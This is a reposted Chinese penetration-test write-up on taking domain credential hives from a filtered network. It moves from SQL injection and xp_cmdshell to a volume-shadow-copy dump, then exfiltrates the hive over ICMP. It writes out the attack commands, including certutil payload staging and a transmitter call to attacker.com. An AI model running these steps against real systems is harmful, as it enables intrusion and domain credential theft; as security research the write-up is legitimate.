频道栏目
首页 > 资讯 > 工具软件 > 正文

如何通过ICMP tunnel获取未过滤数据

15-10-26        来源:[db:作者]  
收藏   我要投稿

在最近的一个测试项目中,我们遇到一个服务器禁止出站通信的情况,仅允许ICMP(以及DNS)通信。在本文Shyam将为我们讲述如何通过ICMP tunnel获取未过滤数据。

说一下场景,这是一个渗透测试应用。这个应用仅对客户内部网络开放,所以客户提供了一个VPN来访问应用。该VPN仅允许我们访问一台主机(web服务器ip)及一个443端口。

攻击

我们在做:

1.该应用存在一枚SQLi漏洞
2.该应用使用sa账户连接到(MS SQL 2008)数据库
3.我们可以启用xp_cmdshell并执行OS Code(sqlmap是一位好基友)。注意该Shell无法进行SQL注入。命令的输出首先储存在数据库表中,之后通过SQL查询读取。在这里web服务器和数据库服务器是不同的,web服务器除了443就没有其他开放端口了。
4.进一步证明sqlserver进程并非使用‘System’权限运行,但肯定是一个域管理权限账户在运行(domain\sqlsvc)
5.基本上我们最终获得域管理员权限。

拦路虎

内部域上的主机根本没有一丝访问互联网的迹象,我们试着找是否有代理服务器,但是以失败结束。唯一的连接只能通过ICMP和DNS通信了,所以我们现在面临的问题是:

1.不使用工具(metasploit, fgdump, pwdump等),如何获取域hash?
2.即使我们得到了域hash又如何将其传到我们的服务器进行离线破解?

对于问题1,我们参考一个神奇的博客很快就解决了,复制卷备份拉取NTDS.dit文件及system.hive文件

http://www.room362.com/2013/06/volume-shadow-copy-ntdsdit-domain.html?m=1

现在我们有了hive,接着将compromised DC上的hive发送到我们的机器进行离线破解。我们希望有一款工具能够将compromised host (DC)上的hive作为ICMP包发送到我们的服务器,最后使用工具抓取整个ping请求。

我们来看看现有的工具在ICMP隧道上存在的一些问题:

1.针对文件传输的现有工具很少(或者我们只是没有找到合适的工具来完成这项工作)
2.没有ICMP隧道我们如何复制这些ICMP隧道客户端?

所以,我们针对这些问题展开研究,这是我们的解决方案:

1.将hive转换为base64
2.将base64编码文本文件分成一些小块
3.用一个合适的编码创建ICMP packet
4.运行数据包抓取工具并记录我们服务器上的通信
5.一旦所有来自主机发送的数据,我们的服务器接收完成。使用解析器删除所有的header,合并pings数据字段保存到base64编码文本文件。
6.解码base64编码文件,我们就获得了hive

幸运的是,Windows有一个默认安装名为certutil的工具,方便了我们编码解码Base64文件。使用certutil将hive转换为base64

 

获得编码文件后,接着便是切割文件通过ICMP发送到我们的服务器。这非常棘手,于是我们写了一个Python脚本(ICMP_transmitter.py)来完成这项工作。然而我们还需要使用py2exe将这个py代码转换成exe可执行文件。

以下代码可将代码转为可执行文件:

from distutils.core import setup
import py2exe, sys, os
sys.argv.append('py2exe')
setup(
    options = {'py2exe': {'bundle_files': 1, 'compressed': True}},
    windows = [{'script': "ICMP.py"}],
    zipfile = None,
)

注意,我们使用了bundle_files选项将Python文件转换为可执行文件。使用这种方法,代码将输出独立的可执行文件。

现在我们有了可执行文件,难题又来了。如何将exe文件传给compromised host欲知后事,接着往下看:

1)使用certutil将exe转换为Base64编码格式

 

2)原来这个文件有80K行这么长,我们决定删除新行并将其切割成每行8000字符,看了下大概有600行。注意:echo命令是有限制的

3)我们进行大约600次Web请求,使用SQLi执行命令:

cmd.exe /c echo "base64_text">>ICMPt_transmitter.txt

4)最后使用下面命令,也就完成了这个问题:

certutil –decode ICMP_transmitter.txt ICMP_transmitter.exe

现在我们只需要运行exe文件了

ICMP_transmitter.exe "hive" "attacker.com"

在我们的服务器上,开启tcpdump抓取ICMP数据包并将其保存为一个pcap文件。当所有的ICMP包停止传输,使用任意pcap解析器,以Base64编码文本文件解析所有数据,当所有的文件分析完成后使用certutil工具将各个文件恢复成各自的格式。

tcpdump -i eth0 ICMP and ICMP[ICMPtype]=ICMP-echo -XX -vvv -w output.txt

可以使用md5sum对接收/发送的文件进行完整性检测

以下是所涉及的步骤:

Step 1:使用certutil工具计算hive的md5sum

 

Step 2:在我们的机器上开启tcpdump抓取ICMP数据包

 

Step 3:使用ICMP_transmitter.exe命令将hive传输到我们的IP

 

Step 4:当所有数据包接收完成,通过按下ctrl^c停止tcpdump获得一个输出文件。输出文件的格式为pcap或者txt–这是由W参数指定

 

Step 5:使用一个parser.sh,解析输出文件获取一个干净的base64编码的hive文件,并另存为transmitted.txt

 

Step 6:在你的Windows机器上再次使用certutil(or base64 -d on linux/mac)将transmitted.txt解码为hive

 

在我们的机器上检测hive的md5sum,并与之前的md5sum进行比对。

相关TAG标签
上一篇:恶意邮件里的doc文件解析
下一篇:恶意程序Android.Fakelogin危及手机银行安全
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站